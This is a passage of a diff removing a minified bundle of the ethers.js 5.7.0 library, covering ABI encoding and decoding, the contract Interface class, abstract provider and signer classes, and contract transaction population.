extends ir { - constructor(t2) { - super("bool", "bool", t2, false); - } - defaultValue() { - return false; - } - encode(t2, e2) { - return t2.writeValue(e2 ? 1 : 0); - } - decode(t2) { - return t2.coerce(this.type, !t2.readValue().isZero()); - } - }; - var pr = class extends ir { - constructor(t2, e2) { - super(t2, t2, e2, true); - } - defaultValue() { - return "0x"; - } - encode(t2, e2) { - e2 = Q(e2); - let r4 = t2.writeValue(e2.length); - return r4 += t2.writeBytes(e2), r4; - } - decode(t2) { - return t2.readBytes(t2.readValue().toNumber(), true); - } - }; - var dr = class extends pr { - constructor(t2) { - super("bytes", t2); - } - decode(t2) { - return t2.coerce(this.name, S(super.decode(t2))); - } - }; - var Ir = class extends ir { - constructor(t2, e2) { - let r4 = "bytes" + String(t2); - super(r4, r4, e2, false), this.size = t2; - } - defaultValue() { - return "0x0000000000000000000000000000000000000000000000000000000000000000".substring(0, 2 + 2 * this.size); - } - encode(t2, e2) { - let r4 = Q(e2); - return r4.length !== this.size && this._throwError("incorrect data length", e2), t2.writeBytes(r4); - } - decode(t2) { - return t2.coerce(this.name, S(t2.readBytes(this.size))); - } - }; - var yr = class extends ir { - constructor(t2) { - super("null", "", t2, false); - } - defaultValue() { - return null; - } - encode(t2, e2) { - return null != e2 && this._throwError("not null", e2), t2.writeBytes([]); - } - decode(t2) { - return t2.readBytes(0), t2.coerce(this.name, null); - } - }; - var Cr = class extends ir { - constructor(t2, e2, r4) { - const n2 = (e2 ? "int" : "uint") + 8 * t2; - super(n2, n2, r4, false), this.size = t2, this.signed = e2; - } - defaultValue() { - return 0; - } - encode(t2, e2) { - let r4 = Y.from(e2), n2 = ut.mask(8 * t2.wordSize); - if (this.signed) { - let t3 = n2.mask(8 * this.size - 1); - (r4.gt(t3) || r4.lt(t3.add(gt).mul(ct))) && this._throwError("value out-of-bounds", e2); - } else - (r4.lt(ht) || r4.gt(n2.mask(8 * this.size))) && this._throwError("value out-of-bounds", e2); - return r4 = r4.toTwos(8 * this.size).mask(8 * this.size), this.signed && (r4 = r4.fromTwos(8 * this.size).toTwos(8 * t2.wordSize)), t2.writeValue(r4); - } - decode(t2) { - let e2 = t2.readValue().mask(8 * this.size); - return this.signed && (e2 = e2.fromTwos(8 * this.size)), t2.coerce(this.name, e2); - } - }; - var mr = class extends pr { - constructor(t2) { - super("string", t2); - } - defaultValue() { - return ""; - } - encode(t2, e2) { - return super.encode(t2, Ct(e2)); - } - decode(t2) { - return mt(super.decode(t2)); - } - }; - var Br = class extends ir { - constructor(t2, e2) { - let r4 = false; - const n2 = []; - t2.forEach((t3) => { - t3.dynamic && (r4 = true), n2.push(t3.type); - }); - super("tuple", "tuple(" + n2.join(",") + ")", e2, r4), this.coders = t2; - } - defaultValue() { - const t2 = []; - this.coders.forEach((e3) => { - t2.push(e3.defaultValue()); - }); - const e2 = this.coders.reduce((t3, e3) => { - const r4 = e3.localName; - return r4 && (t3[r4] || (t3[r4] = 0), t3[r4]++), t3; - }, {}); - return this.coders.forEach((r4, n2) => { - let A2 = r4.localName; - A2 && 1 === e2[A2] && ("length" === A2 && (A2 = "_length"), null == t2[A2] && (t2[A2] = t2[n2])); - }), Object.freeze(t2); - } - encode(t2, e2) { - return gr(t2, this.coders, e2); - } - decode(t2) { - return t2.coerce(this.name, ur(t2, this.coders)); - } - }; - var Er = new m(Fe); - var wr = new RegExp(/^bytes([0-9]*)$/); - var vr = new RegExp(/^(u?int)([0-9]*)$/); - var _r = new class { - constructor(t2) { - se(this, "coerceFunc", t2 || null); - } - _getCoder(t2) { - switch (t2.baseType) { - case "address": - return new ar(t2.name); - case "bool": - return new fr(t2.name); - case "string": - return new mr(t2.name); - case "bytes": - return new dr(t2.name); - case "array": - return new lr(this._getCoder(t2.arrayChildren), t2.arrayLength, t2.name); - case "tuple": - return new Br((t2.components || []).map((t3) => this._getCoder(t3)), t2.name); - case "": - return new yr(t2.name); - } - let e2 = t2.type.match(vr); - if (e2) { - let r4 = parseInt(e2[2] || "256"); - return (0 === r4 || r4 > 256 || r4 % 8 != 0) && Er.throwArgumentError("invalid " + e2[1] + " bit length", "param", t2), new Cr(r4 / 8, "int" === e2[1], t2.name); - } - if (e2 = t2.type.match(wr), e2) { - let r4 = parseInt(e2[1]); - return (0 === r4 || r4 > 32) && Er.throwArgumentError("invalid bytes length", "param", t2), new Ir(r4, t2.name); - } - return Er.throwArgumentError("invalid type", "type", t2.type); - } - _getWordSize() { - return 32; - } - _getReader(t2, e2) { - return new sr(t2, this._getWordSize(), this.coerceFunc, e2); - } - _getWriter() { - return new or(this._getWordSize()); - } - getDefaultValue(t2) { - const e2 = t2.map((t3) => this._getCoder(Ye.from(t3))); - return new Br(e2, "_").defaultValue(); - } - encode(t2, e2) { - t2.length !== e2.length && Er.throwError("types/values length mismatch", m.errors.INVALID_ARGUMENT, { count: { types: t2.length, values: e2.length }, value: { types: t2, values: e2 } }); - const r4 = t2.map((t3) => this._getCoder(Ye.from(t3))), n2 = new Br(r4, "_"), A2 = this._getWriter(); - return n2.encode(A2, e2), A2.data; - } - decode(t2, e2, r4) { - const n2 = t2.map((t3) => this._getCoder(Ye.from(t3))); - return new Br(n2, "_").decode(this._getReader(Q(e2), r4)); - } - }(); - var Qr = new m(Fe); - var br = class extends pe { - }; - var kr = class extends pe { - }; - var Dr = class extends pe { - }; - var Sr = class extends pe { - static isIndexed(t2) { - return !(!t2 || !t2._isIndexed); - } - }; - var Nr = { "0x08c379a0": { signature: "Error(string)", name: "Error", inputs: ["string"], reason: true }, "0x4e487b71": { signature: "Panic(uint256)", name: "Panic", inputs: ["uint256"] } }; - function Mr(t2, e2) { - const r4 = new Error(`deferred error during ABI decoding triggered accessing ${t2}`); - return r4.error = e2, r4; - } - var xr = class { - constructor(t2) { - let e2 = []; - e2 = "string" == typeof t2 ? JSON.parse(t2) : t2, se(this, "fragments", e2.map((t3) => Je.from(t3)).filter((t3) => null != t3)), se(this, "_abiCoder", ae(new.target, "getAbiCoder")()), se(this, "functions", {}), se(this, "errors", {}), se(this, "events", {}), se(this, "structs", {}), this.fragments.forEach((t3) => { - let e3 = null; - switch (t3.type) { - case "constructor": - return this.deploy ? void Qr.warn("duplicate definition - constructor") : void se(this, "deploy", t3); - case "function": - e3 = this.functions; - break; - case "event": - e3 = this.events; - break; - case "error": - e3 = this.errors; - break; - default: - return; - } - let r4 = t3.format(); - e3[r4] ? Qr.warn("duplicate definition - " + r4) : e3[r4] = t3; - }), this.deploy || se(this, "deploy", Ve.from({ payable: false, type: "constructor" })), se(this, "_isInterface", true); - } - format(t2) { - t2 || (t2 = Le.full), t2 === Le.sighash && Qr.throwArgumentError("interface does not support formatting sighash", "format", t2); - const e2 = this.fragments.map((e3) => e3.format(t2)); - return t2 === Le.json ? JSON.stringify(e2.map((t3) => JSON.parse(t3))) : e2; - } - static getAbiCoder() { - return _r; - } - static getAddress(t2) { - return ne(t2); - } - static getSighash(t2) { - return N2(Bt(t2.format()), 0, 4); - } - static getEventTopic(t2) { - return Bt(t2.format()); - } - getFunction(t2) { - if (k(t2)) { - for (const e3 in this.functions) - if (t2 === this.getSighash(e3)) - return this.functions[e3]; - Qr.throwArgumentError("no matching function", "sighash", t2); - } - if (-1 === t2.indexOf("(")) { - const e3 = t2.trim(), r4 = Object.keys(this.functions).filter((t3) => t3.split("(")[0] === e3); - return 0 === r4.length ? Qr.throwArgumentError("no matching function", "name", e3) : r4.length > 1 && Qr.throwArgumentError("multiple matching functions", "name", e3), this.functions[r4[0]]; - } - const e2 = this.functions[We.fromString(t2).format()]; - return e2 || Qr.throwArgumentError("no matching function", "signature", t2), e2; - } - getEvent(t2) { - if (k(t2)) { - const e3 = t2.toLowerCase(); - for (const t3 in this.events) - if (e3 === this.getEventTopic(t3)) - return this.events[t3]; - Qr.throwArgumentError("no matching event", "topichash", e3); - } - if (-1 === t2.indexOf("(")) { - const e3 = t2.trim(), r4 = Object.keys(this.events).filter((t3) => t3.split("(")[0] === e3); - return 0 === r4.length ? Qr.throwArgumentError("no matching event", "name", e3) : r4.length > 1 && Qr.throwArgumentError("multiple matching events", "name", e3), this.events[r4[0]]; - } - const e2 = this.events[je.fromString(t2).format()]; - return e2 || Qr.throwArgumentError("no matching event", "signature", t2), e2; - } - getError(t2) { - if (k(t2)) { - const e3 = ae(this.constructor, "getSighash"); - for (const r4 in this.errors) { - if (t2 === e3(this.errors[r4])) - return this.errors[r4]; - } - Qr.throwArgumentError("no matching error", "sighash", t2); - } - if (-1 === t2.indexOf("(")) { - const e3 = t2.trim(), r4 = Object.keys(this.errors).filter((t3) => t3.split("(")[0] === e3); - return 0 === r4.length ? Qr.throwArgumentError("no matching error", "name", e3) : r4.length > 1 && Qr.throwArgumentError("multiple matching errors", "name", e3), this.errors[r4[0]]; - } - const e2 = this.errors[We.fromString(t2).format()]; - return e2 || Qr.throwArgumentError("no matching error", "signature", t2), e2; - } - getSighash(t2) { - if ("string" == typeof t2) - try { - t2 = this.getFunction(t2); - } catch (e2) { - try { - t2 = this.getError(t2); - } catch (t3) { - throw e2; - } - } - return ae(this.constructor, "getSighash")(t2); - } - getEventTopic(t2) { - return "string" == typeof t2 && (t2 = this.getEvent(t2)), ae(this.constructor, "getEventTopic")(t2); - } - _decodeParams(t2, e2) { - return this._abiCoder.decode(t2, e2); - } - _encodeParams(t2, e2) { - return this._abiCoder.encode(t2, e2); - } - encodeDeploy(t2) { - return this._encodeParams(this.deploy.inputs, t2 || []); - } - decodeErrorResult(t2, e2) { - "string" == typeof t2 && (t2 = this.getError(t2)); - const r4 = Q(e2); - return S(r4.slice(0, 4)) !== this.getSighash(t2) && Qr.throwArgumentError(`data signature does not match error ${t2.name}.`, "data", S(r4)), this._decodeParams(t2.inputs, r4.slice(4)); - } - encodeErrorResult(t2, e2) { - return "string" == typeof t2 && (t2 = this.getError(t2)), S(b([this.getSighash(t2), this._encodeParams(t2.inputs, e2 || [])])); - } - decodeFunctionData(t2, e2) { - "string" == typeof t2 && (t2 = this.getFunction(t2)); - const r4 = Q(e2); - return S(r4.slice(0, 4)) !== this.getSighash(t2) && Qr.throwArgumentError(`data signature does not match function ${t2.name}.`, "data", S(r4)), this._decodeParams(t2.inputs, r4.slice(4)); - } - encodeFunctionData(t2, e2) { - return "string" == typeof t2 && (t2 = this.getFunction(t2)), S(b([this.getSighash(t2), this._encodeParams(t2.inputs, e2 || [])])); - } - decodeFunctionResult(t2, e2) { - "string" == typeof t2 && (t2 = this.getFunction(t2)); - let r4 = Q(e2), n2 = null, A2 = "", i2 = null, o2 = null, s2 = null; - switch (r4.length % this._abiCoder._getWordSize()) { - case 0: - try { - return this._abiCoder.decode(t2.outputs, r4); - } catch (t3) { - } - break; - case 4: { - const t3 = S(r4.slice(0, 4)), e3 = Nr[t3]; - if (e3) - i2 = this._abiCoder.decode(e3.inputs, r4.slice(4)), o2 = e3.name, s2 = e3.signature, e3.reason && (n2 = i2[0]), "Error" === o2 ? A2 = `; VM Exception while processing transaction: reverted with reason string ${JSON.stringify(i2[0])}` : "Panic" === o2 && (A2 = `; VM Exception while processing transaction: reverted with panic code ${i2[0]}`); - else - try { - const e4 = this.getError(t3); - i2 = this._abiCoder.decode(e4.inputs, r4.slice(4)), o2 = e4.name, s2 = e4.format(); - } catch (t4) { - } - break; - } - } - return Qr.throwError("call revert exception" + A2, m.errors.CALL_EXCEPTION, { method: t2.format(), data: S(e2), errorArgs: i2, errorName: o2, errorSignature: s2, reason: n2 }); - } - encodeFunctionResult(t2, e2) { - return "string" == typeof t2 && (t2 = this.getFunction(t2)), S(this._abiCoder.encode(t2.outputs, e2 || [])); - } - encodeFilterTopics(t2, e2) { - "string" == typeof t2 && (t2 = this.getEvent(t2)), e2.length > t2.inputs.length && Qr.throwError("too many arguments for " + t2.format(), m.errors.UNEXPECTED_ARGUMENT, { argument: "values", value: e2 }); - let r4 = []; - t2.anonymous || r4.push(this.getEventTopic(t2)); - const n2 = (t3, e3) => "string" === t3.type ? Bt(e3) : "bytes" === t3.type ? F(S(e3)) : ("bool" === t3.type && "boolean" == typeof e3 && (e3 = e3 ? "0x01" : "0x00"), t3.type.match(/^u?int/) && (e3 = Y.from(e3).toHexString()), "address" === t3.type && this._abiCoder.encode(["address"], [e3]), x(S(e3), 32)); - for (e2.forEach((e3, A2) => { - let i2 = t2.inputs[A2]; - i2.indexed ? null == e3 ? r4.push(null) : "array" === i2.baseType || "tuple" === i2.baseType ? Qr.throwArgumentError("filtering with tuples or arrays not supported", "contract." + i2.name, e3) : Array.isArray(e3) ? r4.push(e3.map((t3) => n2(i2, t3))) : r4.push(n2(i2, e3)) : null != e3 && Qr.throwArgumentError("cannot filter non-indexed parameters; must be null", "contract." + i2.name, e3); - }); r4.length && null === r4[r4.length - 1]; ) - r4.pop(); - return r4; - } - encodeEventLog(t2, e2) { - "string" == typeof t2 && (t2 = this.getEvent(t2)); - const r4 = [], n2 = [], A2 = []; - return t2.anonymous || r4.push(this.getEventTopic(t2)), e2.length !== t2.inputs.length && Qr.throwArgumentError("event arguments/values mismatch", "values", e2), t2.inputs.forEach((t3, i2) => { - const o2 = e2[i2]; - if (t3.indexed) - if ("string" === t3.type) - r4.push(Bt(o2)); - else if ("bytes" === t3.type) - r4.push(F(o2)); - else { - if ("tuple" === t3.baseType || "array" === t3.baseType) - throw new Error("not implemented"); - r4.push(this._abiCoder.encode([t3.type], [o2])); - } - else - n2.push(t3), A2.push(o2); - }), { data: this._abiCoder.encode(n2, A2), topics: r4 }; - } - decodeEventLog(t2, e2, r4) { - if ("string" == typeof t2 && (t2 = this.getEvent(t2)), null != r4 && !t2.anonymous) { - let e3 = this.getEventTopic(t2); - k(r4[0], 32) && r4[0].toLowerCase() === e3 || Qr.throwError("fragment/topic mismatch", m.errors.INVALID_ARGUMENT, { argument: "topics[0]", expected: e3, value: r4[0] }), r4 = r4.slice(1); - } - let n2 = [], A2 = [], i2 = []; - t2.inputs.forEach((t3, e3) => { - t3.indexed ? "string" === t3.type || "bytes" === t3.type || "tuple" === t3.baseType || "array" === t3.baseType ? (n2.push(Ye.fromObject({ type: "bytes32", name: t3.name })), i2.push(true)) : (n2.push(t3), i2.push(false)) : (A2.push(t3), i2.push(false)); - }); - let o2 = null != r4 ? this._abiCoder.decode(n2, b(r4)) : null, s2 = this._abiCoder.decode(A2, e2, true), a2 = [], c2 = 0, h2 = 0; - t2.inputs.forEach((t3, e3) => { - if (t3.indexed) - if (null == o2) - a2[e3] = new Sr({ _isIndexed: true, hash: null }); - else if (i2[e3]) - a2[e3] = new Sr({ _isIndexed: true, hash: o2[h2++] }); - else - try { - a2[e3] = o2[h2++]; - } catch (t4) { - a2[e3] = t4; - } - else - try { - a2[e3] = s2[c2++]; - } catch (t4) { - a2[e3] = t4; - } - if (t3.name && null == a2[t3.name]) { - const r5 = a2[e3]; - r5 instanceof Error ? Object.defineProperty(a2, t3.name, { enumerable: true, get: () => { - throw Mr(`property ${JSON.stringify(t3.name)}`, r5); - } }) : a2[t3.name] = r5; - } - }); - for (let t3 = 0; t3 < a2.length; t3++) { - const e3 = a2[t3]; - e3 instanceof Error && Object.defineProperty(a2, t3, { enumerable: true, get: () => { - throw Mr(`index ${t3}`, e3); - } }); - } - return Object.freeze(a2); - } - parseTransaction(t2) { - let e2 = this.getFunction(t2.data.substring(0, 10).toLowerCase()); - return e2 ? new kr({ args: this._abiCoder.decode(e2.inputs, "0x" + t2.data.substring(10)), functionFragment: e2, name: e2.name, signature: e2.format(), sighash: this.getSighash(e2), value: Y.from(t2.value || "0") }) : null; - } - parseLog(t2) { - let e2 = this.getEvent(t2.topics[0]); - return !e2 || e2.anonymous ? null : new br({ eventFragment: e2, name: e2.name, signature: e2.format(), topic: this.getEventTopic(e2), args: this.decodeEventLog(e2, t2.data, t2.topics) }); - } - parseError(t2) { - const e2 = S(t2); - let r4 = this.getError(e2.substring(0, 10).toLowerCase()); - return r4 ? new Dr({ args: this._abiCoder.decode(r4.inputs, "0x" + e2.substring(10)), errorFragment: r4, name: r4.name, signature: r4.format(), sighash: this.getSighash(r4) }) : null; - } - static isInterface(t2) { - return !(!t2 || !t2._isInterface); - } - }; - var Fr = function(t2, e2, r4, n2) { - return new (r4 || (r4 = Promise))(function(A2, i2) { - function o2(t3) { - try { - a2(n2.next(t3)); - } catch (t4) { - i2(t4); - } - } - function s2(t3) { - try { - a2(n2.throw(t3)); - } catch (t4) { - i2(t4); - } - } - function a2(t3) { - var e3; - t3.done ? A2(t3.value) : (e3 = t3.value, e3 instanceof r4 ? e3 : new r4(function(t4) { - t4(e3); - })).then(o2, s2); - } - a2((n2 = n2.apply(t2, e2 || [])).next()); - }); - }; - var Pr = new m("abstract-provider/5.7.0"); - var Tr = class t2 { - constructor() { - Pr.checkAbstract(new.target, t2), se(this, "_isProvider", true); - } - getFeeData() { - return Fr(this, void 0, void 0, function* () { - const { block: t3, gasPrice: e2 } = yield ce({ block: this.getBlock("latest"), gasPrice: this.getGasPrice().catch((t4) => null) }); - let r4 = null, n2 = null, A2 = null; - return t3 && t3.baseFeePerGas && (r4 = t3.baseFeePerGas, A2 = Y.from("1500000000"), n2 = t3.baseFeePerGas.mul(2).add(A2)), { lastBaseFeePerGas: r4, maxFeePerGas: n2, maxPriorityFeePerGas: A2, gasPrice: e2 }; - }); - } - addListener(t3, e2) { - return this.on(t3, e2); - } - removeListener(t3, e2) { - return this.off(t3, e2); - } - static isProvider(t3) { - return !(!t3 || !t3._isProvider); - } - }; - var Rr = function(t2, e2, r4, n2) { - return new (r4 || (r4 = Promise))(function(A2, i2) { - function o2(t3) { - try { - a2(n2.next(t3)); - } catch (t4) { - i2(t4); - } - } - function s2(t3) { - try { - a2(n2.throw(t3)); - } catch (t4) { - i2(t4); - } - } - function a2(t3) { - var e3; - t3.done ? A2(t3.value) : (e3 = t3.value, e3 instanceof r4 ? e3 : new r4(function(t4) { - t4(e3); - })).then(o2, s2); - } - a2((n2 = n2.apply(t2, e2 || [])).next()); - }); - }; - var Ur = new m("abstract-signer/5.7.0"); - var Gr = ["accessList", "ccipReadEnabled", "chainId", "customData", "data", "from", "gasLimit", "gasPrice", "maxFeePerGas", "maxPriorityFeePerGas", "nonce", "to", "type", "value"]; - var Hr = [m.errors.INSUFFICIENT_FUNDS, m.errors.NONCE_EXPIRED, m.errors.REPLACEMENT_UNDERPRICED]; - var Lr = class t2 { - constructor() { - Ur.checkAbstract(new.target, t2), se(this, "_isSigner", true); - } - getBalance(t3) { - return Rr(this, void 0, void 0, function* () { - return this._checkProvider("getBalance"), yield this.provider.getBalance(this.getAddress(), t3); - }); - } - getTransactionCount(t3) { - return Rr(this, void 0, void 0, function* () { - return this._checkProvider("getTransactionCount"), yield this.provider.getTransactionCount(this.getAddress(), t3); - }); - } - estimateGas(t3) { - return Rr(this, void 0, void 0, function* () { - this._checkProvider("estimateGas"); - const e2 = yield ce(this.checkTransaction(t3)); - return yield this.provider.estimateGas(e2); - }); - } - call(t3, e2) { - return Rr(this, void 0, void 0, function* () { - this._checkProvider("call"); - const r4 = yield ce(this.checkTransaction(t3)); - return yield this.provider.call(r4, e2); - }); - } - sendTransaction(t3) { - return Rr(this, void 0, void 0, function* () { - this._checkProvider("sendTransaction"); - const e2 = yield this.populateTransaction(t3), r4 = yield this.signTransaction(e2); - return yield this.provider.sendTransaction(r4); - }); - } - getChainId() { - return Rr(this, void 0, void 0, function* () { - this._checkProvider("getChainId"); - return (yield this.provider.getNetwork()).chainId; - }); - } - getGasPrice() { - return Rr(this, void 0, void 0, function* () { - return this._checkProvider("getGasPrice"), yield this.provider.getGasPrice(); - }); - } - getFeeData() { - return Rr(this, void 0, void 0, function* () { - return this._checkProvider("getFeeData"), yield this.provider.getFeeData(); - }); - } - resolveName(t3) { - return Rr(this, void 0, void 0, function* () { - return this._checkProvider("resolveName"), yield this.provider.resolveName(t3); - }); - } - checkTransaction(t3) { - for (const e3 in t3) - -1 === Gr.indexOf(e3) && Ur.throwArgumentError("invalid transaction key: " + e3, "transaction", t3); - const e2 = he(t3); - return null == e2.from ? e2.from = this.getAddress() : e2.from = Promise.all([Promise.resolve(e2.from), this.getAddress()]).then((e3) => (e3[0].toLowerCase() !== e3[1].toLowerCase() && Ur.throwArgumentError("from address mismatch", "transaction", t3), e3[0])), e2; - } - populateTransaction(t3) { - return Rr(this, void 0, void 0, function* () { - const e2 = yield ce(this.checkTransaction(t3)); - null != e2.to && (e2.to = Promise.resolve(e2.to).then((t4) => Rr(this, void 0, void 0, function* () { - if (null == t4) - return null; - const e3 = yield this.resolveName(t4); - return null == e3 && Ur.throwArgumentError("provided ENS name resolves to null", "tx.to", t4), e3; - })), e2.to.catch((t4) => { - })); - const r4 = null != e2.maxFeePerGas || null != e2.maxPriorityFeePerGas; - if (null == e2.gasPrice || 2 !== e2.type && !r4 ? 0 !== e2.type && 1 !== e2.type || !r4 || Ur.throwArgumentError("pre-eip-1559 transaction do not support maxFeePerGas/maxPriorityFeePerGas", "transaction", t3) : Ur.throwArgumentError("eip-1559 transaction do not support gasPrice", "transaction", t3), 2 !== e2.type && null != e2.type || null == e2.maxFeePerGas || null == e2.maxPriorityFeePerGas) - if (0 === e2.type || 1 === e2.type) - null == e2.gasPrice && (e2.gasPrice = this.getGasPrice()); - else { - const t4 = yield this.getFeeData(); - if (null == e2.type) - if (null != t4.maxFeePerGas && null != t4.maxPriorityFeePerGas) - if (e2.type = 2, null != e2.gasPrice) { - const t5 = e2.gasPrice; - delete e2.gasPrice, e2.maxFeePerGas = t5, e2.maxPriorityFeePerGas = t5; - } else - null == e2.maxFeePerGas && (e2.maxFeePerGas = t4.maxFeePerGas), null == e2.maxPriorityFeePerGas && (e2.maxPriorityFeePerGas = t4.maxPriorityFeePerGas); - else - null != t4.gasPrice ? (r4 && Ur.throwError("network does not support EIP-1559", m.errors.UNSUPPORTED_OPERATION, { operation: "populateTransaction" }), null == e2.gasPrice && (e2.gasPrice = t4.gasPrice), e2.type = 0) : Ur.throwError("failed to get consistent fee data", m.errors.UNSUPPORTED_OPERATION, { operation: "signer.getFeeData" }); - else - 2 === e2.type && (null == e2.maxFeePerGas && (e2.maxFeePerGas = t4.maxFeePerGas), null == e2.maxPriorityFeePerGas && (e2.maxPriorityFeePerGas = t4.maxPriorityFeePerGas)); - } - else - e2.type = 2; - return null == e2.nonce && (e2.nonce = this.getTransactionCount("pending")), null == e2.gasLimit && (e2.gasLimit = this.estimateGas(e2).catch((t4) => { - if (Hr.indexOf(t4.code) >= 0) - throw t4; - return Ur.throwError("cannot estimate gas; transaction may fail or may require manual gas limit", m.errors.UNPREDICTABLE_GAS_LIMIT, { error: t4, tx: e2 }); - })), null == e2.chainId ? e2.chainId = this.getChainId() : e2.chainId = Promise.all([Promise.resolve(e2.chainId), this.getChainId()]).then((e3) => (0 !== e3[1] && e3[0] !== e3[1] && Ur.throwArgumentError("chainId address mismatch", "transaction", t3), e3[0])), yield ce(e2); - }); - } - _checkProvider(t3) { - this.provider || Ur.throwError("missing provider", m.errors.UNSUPPORTED_OPERATION, { operation: t3 || "_checkProvider" }); - } - static isSigner(t3) { - return !(!t3 || !t3._isSigner); - } - }; - var Or = class t2 extends Lr { - constructor(t3, e2) { - super(), se(this, "address", t3), se(this, "provider", e2 || null); - } - getAddress() { - return Promise.resolve(this.address); - } - _fail(t3, e2) { - return Promise.resolve().then(() => { - Ur.throwError(t3, m.errors.UNSUPPORTED_OPERATION, { operation: e2 }); - }); - } - signMessage(t3) { - return this._fail("VoidSigner cannot sign messages", "signMessage"); - } - signTransaction(t3) { - return this._fail("VoidSigner cannot sign transactions", "signTransaction"); - } - _signTypedData(t3, e2, r4) { - return this._fail("VoidSigner cannot sign typed data", "signTypedData"); - } - connect(e2) { - return new t2(this.address, e2); - } - }; - var Yr = new m("transactions/5.7.0"); - var Kr; - function Jr(t2, e2) { - return { address: ne(t2), storageKeys: (e2 || []).map((e3, r4) => (32 !== function(t3) { - if ("string" != typeof t3) - t3 = S(t3); - else if (!k(t3) || t3.length % 2) - return null; - return (t3.length - 2) / 2; - }(e3) && Yr.throwArgumentError("invalid access list storageKey", `accessList[${t2}:${r4}]`, e3), e3.toLowerCase())) }; - } - !function(t2) { - t2[t2.legacy = 0] = "legacy", t2[t2.eip2930 = 1] = "eip2930", t2[t2.eip1559 = 2] = "eip1559"; - }(Kr || (Kr = {})); - var jr = function(t2, e2, r4, n2) { - return new (r4 || (r4 = Promise))(function(A2, i2) { - function o2(t3) { - try { - a2(n2.next(t3)); - } catch (t4) { - i2(t4); - } - } - function s2(t3) { - try { - a2(n2.throw(t3)); - } catch (t4) { - i2(t4); - } - } - function a2(t3) { - var e3; - t3.done ? A2(t3.value) : (e3 = t3.value, e3 instanceof r4 ? e3 : new r4(function(t4) { - t4(e3); - })).then(o2, s2); - } - a2((n2 = n2.apply(t2, e2 || [])).next()); - }); - }; - var zr = new m("contracts/5.7.0"); - var qr = { chainId: true, data: true, from: true, gasLimit: true, gasPrice: true, nonce: true, to: true, value: true, type: true, accessList: true, maxFeePerGas: true, maxPriorityFeePerGas: true, customData: true, ccipReadEnabled: true }; - function Xr(t2, e2) { - return jr(this, void 0, void 0, function* () { - const r4 = yield e2; - "string" != typeof r4 && zr.throwArgumentError("invalid address or ENS name", "name", r4); - try { - return ne(r4); - } catch (t3) { - } - t2 || zr.throwError("a provider or signer is needed to resolve ENS names", m.errors.UNSUPPORTED_OPERATION, { operation: "resolveName" }); - const n2 = yield t2.resolveName(r4); - return null == n2 && zr.throwArgumentError("resolver or addr is not configured for ENS name", "name", r4), n2; - }); - } - function Vr(t2, e2, r4) { - return jr(this, void 0, void 0, function* () { - return Array.isArray(r4) ? yield Promise.all(r4.map((r5, n2) => Vr(t2, Array.isArray(e2) ? e2[n2] : e2[r5.name], r5))) : "address" === r4.type ? yield Xr(t2, e2) : "tuple" === r4.type ? yield Vr(t2, e2, r4.components) : "array" === r4.baseType ? Array.isArray(e2) ? yield Promise.all(e2.map((e3) => Vr(t2, e3, r4.arrayChildren))) : Promise.reject(zr.makeError("invalid value for array", m.errors.INVALID_ARGUMENT, { argument: "value", value: e2 })) : e2; - }); - } - function Wr(t2, e2, r4) { - return jr(this, void 0, void 0, function* () { - let n2 = {}; - r4.length === e2.inputs.length + 1 && "object" == typeof r4[r4.length - 1] && (n2 = he(r4.pop())), zr.checkArgumentCount(r4.length, e2.inputs.length, "passed to contract"), t2.signer ? n2.from ? n2.from = ce({ override: Xr(t2.signer, n2.from), signer: t2.signer.getAddress() }).then((t3) => jr(this, void 0, void 0, function* () { - return ne(t3.signer) !== t3.override && zr.throwError("Contract with a Signer cannot override from", m.errors.UNSUPPORTED_OPERATION, { operation: "overrides.from" }), t3.override; - })) : n2.from = t2.signer.getAddress() : n2.from && (n2.from = Xr(t2.provider, n2.from)); - const A2 = yield ce({ args: Vr(t2.signer || t2.provider, r4, e2.inputs), address: t2.resolvedAddress, overrides: ce(n2) || {} }), i2 = t2.interface.encodeFunctionData(e2, A2.args), o2 = { data: i2, to: A2.address }, s2 = A2.overrides; - if (null != s2.nonce && (o2.nonce = Y.from(s2.nonce).toNumber()), null != s2.gasLimit && (o2.gasLimit = Y.from(s2.gasLimit)), null != s2.gasPrice && (o2.gasPrice = Y.from(s2.gasPrice)), null != s2.maxFeePerGas && (o2.maxFeePerGas = Y.from(s2.maxFeePerGas)), null != s2.maxPriorityFeePerGas && (o2.maxPriorityFeePerGas = Y.from(s2.maxPriorityFeePerGas)), null != s2.from && (o2.from = s2.from), null != s2.type && (o2.type = s2.type), null != s2.accessList && (o2.accessList = function(t3) { - if (Array.isArray(t3)) - return t3.map((t4, e4) => Array.isArray(t4) ? (t4.length > 2 && Yr.throwArgumentError("access list expected to be [ address, storageKeys[] ]", `value[${e4}]`, t4), Jr(t4[0], t4[1])) : Jr(t4.address, t4.storageKeys)); - const e3 = Object.keys(t3).map((e4) => { - const r5 = t3[e4].reduce((t4, e5) => (t4[e5] = true, t4), {}); - return Jr(e4, Object.keys(r5).sort()); - }); - return e3.sort((t4, e4) => t4.address.localeCompare(e4.address)), e3; - }(s2.accessList)), null == o2.gasLimit && null != e2.gas) { - let t3 = 21e3; - const r5 = Q(i2); - for (let e3 = 0; e3 < r5.length; e3++) - t3 += 4, r5[e3] && (t3 += 64); - o2.gasLimit = Y.from(e2.gas).add(t3); - } - if (s2.value) { - const t3 = Y.from(s2.value); - t3.isZero() || e2.payable || zr.throwError("non-payable method cannot override value", m.errors.UNSUPPORTED_OPERATION, { operation: "overrides.value", value: n2.value }), o2.value = t3; - } - s2.customData && (o2.customData = he(s2.customData)), s2.ccipReadEnabled && (o2.ccipReadEnabled = !!s2.ccipReadEnabled), delete n2.nonce, delete n2.gasLimit, delete n2.gasPrice, delete n2.from, delete n2.value, delete n2.type, delete n2.accessList, delete n2.maxFeePerGas, delete n2.maxPriorityFeePerGas, delete n2.customData, delete n2.ccipReadEnabled; - const a2 = Object.keys(n2).filter((t3) => null != n2[t3]); - return a2.length && zr.throwError(`cannot override ${a2.map((t3) => JSON.stringify(t3)).join(",")}`, m.errors.UNSUPPORTED_OPERATION, { operation: "overrides", overrides: a2 }), o2; - }); - } - function Zr(t2, e2) { - const r4 = e2.wait.bind(e2); - e2.wait = (e3) => r4(e3).then((e4) => (e4.events = e4.logs.map((r5) => { - let n2 = fe(r5), A2 = null; - try { - A2 = t2.interface.parseLog(r5); - } catch (t3) { - } - return A2 && (n2.args = A2.args, n2.decode = (e5, r6) => t2.interface.decodeEventLog(A2.eventFragment, e5, r6), n2.event = A2.name, n2.eventSignature = A2.signature), n2.removeListener = () => t2.provider, n2.getBlock = () => t2.provider.getBlock(e4.blockHash), n2.getTransaction = () => 